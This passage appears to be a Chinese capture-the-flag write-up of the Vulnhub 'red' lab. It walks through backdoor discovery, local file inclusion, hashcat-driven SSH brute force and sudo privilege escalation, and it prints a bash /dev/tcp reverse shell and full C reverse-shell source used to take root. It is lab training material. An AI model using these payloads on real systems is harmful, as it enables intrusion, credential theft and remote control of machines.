信息收集
首先扫描一下存活主机,确定目标IP,使用fscan
发现目标主机IP是192.168.1.6,开放端口只有22和80端口
访问80端口
发现布局混乱,按照靶场尿性,肯定是要加hosts,通过源代码可知,大多数链接都是指向http://redrocks.win,那么就加192.168.1.6 redrocks.win
web渗透
通过页面可知是使用了wordpress框架,先不急,扫描一下看看有没有什么目录,并且在页面中有个提示,是叫你找一下后门文件。
看到挺多目录的,依次访问,发现feed目录有个注释
<!-- Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway -->
好吧,英文不好翻译一下
<!-- 还在寻找吗?也许你应该向密斯勒先生寻求帮助,但这并不重要,你无论如何都无法阅读任何内容-->
按照提示谷歌一下Mr. Miessler,找到一个github链接
好像是一个字典?前面也提示了找后门文件,那肯定是用这个字典去扫描?
选用的字典应该是web-shells中的backdoor_list.txt,然后进行扫描
发现有个NetworkFileManagerPHP.php,直接访问状态码是500,可能不是那种用菜刀冰蝎类型直接连接的,那应该是要传递一些参数,可以使用burp爆破功能,不知道为什么,爆破太卡了,半天都还没开始。参数字典选用burp-paramter-names.txt。先看下参数是哪个
通过判断状态码,key的状态码是200,那么key是参数无疑了,接下来就是去尝试传值了。首先想到的是会不会有目录穿越、文件包含、文件读取等漏洞,就用平常的../../etc/passwd试试,结果还真存在文件读取漏洞
http://192.168.1.6/NetworkFileManagerPHP.php?key=../../../etc/passwd
那么存在文件读取的话,是不是同时存在文件包含漏洞?可以尝试通过php伪协议去读取该后门源码?
http://192.168.1.6/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
可以,解码看看
得出源代码,分析代码就可知如果存在该文件,就包含该文件,不存在就返回到本文件。那么我们可以尝试读取文件,因为该站点是wordpress,那么我们可以读取他的配置文件,也就是wp-config.php
那么可以知道数据库用户名john,密码是R3v_m4lwh3r3_k1nG!!,因为之前信息收集时候开放了ssh,可以试下用ssh连接,但是连接失败了。此时陷入僵局,,突然发现NetworkFileManagerPHP.php源代码最下面有个注释,也是base编码,解码得到一句话:That password alone won't help you! Hashcat says rules are rules,那么说明密码是需要hashcat+规则碰撞?此时求助kali,做靶场还得是kali才好。
因为源码中信息加密是使用base64的,所以需要base64规则
hashcat --stdout 1.txt -r /usr/share/hashcat/rules/best64.rule > 2.txt
生成这些字典后,那么就直接ssh爆破了。
哎,密码好像就前面替换了一下大小写
192.168.1.6----SSH----22----john----r3v_m4lwh3r3_k1nG!!
然后ssh登录,不过是不是靶机问题,不稳定啊,老是掉线,重新连接上去,密码竟然是错的,woc的
重新爆破了一下,我的乖乖,密码是不断变化的
192.168.1.6----SSH----22----john----R3v_m4lwh3r3_k1nG!!00
每隔一段时间就会断线并且密码更换,就需要做权限维持了
通过sudo -l ,发现/usr/bin/time这个程序不需要密码就可以进行提权,而且用户是ippsec,应该就是切换到ippsec用户。
sudo -u ippsec /usr/bin/time /bin/bash
切换用户后记得反弹一个shell,在/dev/shm写个shell文件,测试后发现反弹shell后不掉线。注意一下vi和cat命令调换了,vi变成查看,cat变成编辑
cd /dev/shm
cat shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/x.x.x.x/2000 0>&1'
chmod +x shell.sh
./shell.sh
python3 -c 'import pty;pty.spawn("/bin/bash")'
nc -lvvp 2000
然后看到用户根目录下有个user.txt,cat一下发现进入了编辑功能,这才知道vi和cat命令调换了。
user.txt好像没东西
Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha
权限提升
查找ippsec用户权限所拥有的文件,发现有一个git文件
find / -group ippsec -type d 2>/dev/null | grep -v proc.
cd /var/www/wordpress/.git
ls -al,发现这两个文件是root用户组的。
rev是可执行文件,还有一个c代码,分别执行和查看
发现rev是执行C代码的,那么我们就可以替换掉C代码,让rev执行root权限shell反弹,然后我们先生成一个C语言反弹shell的代码:https://www.revshells.com/,这个网站可以在线生成,注意最好使用/bin/bash
rm先删掉原来的c文件
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 2001;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("x.x.x.x");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
这里注意一下,有可能使用cat编辑后发现是只读权限写不了,可以本地写shell后上传到vps上,目标主机用wget方式下载。wget不行的话就只能重装靶场机子了,我也不知道为什么,反正重装了一下就可以了
下载后vps开启监听,等待反弹shell即可,是自动反弹的不需要手动使用rev,应该是有个计划任务,每隔一段时间去执行。
反弹后是root用户。本次靶场最大的难度还是怎么快速权限维持了,每个一两分钟他就会断一次ssh,而且密码一直更改,并且时常给你一个干扰的语句弹到shell上
在root目录有个defense文件夹,把文件夹下面的文件查看一下,这就是经常断线的罪魁祸首,把john的会话进程kill了
还有就是talk.sh就是干扰语句
发泄一下
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Vulnhub靶场之red
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论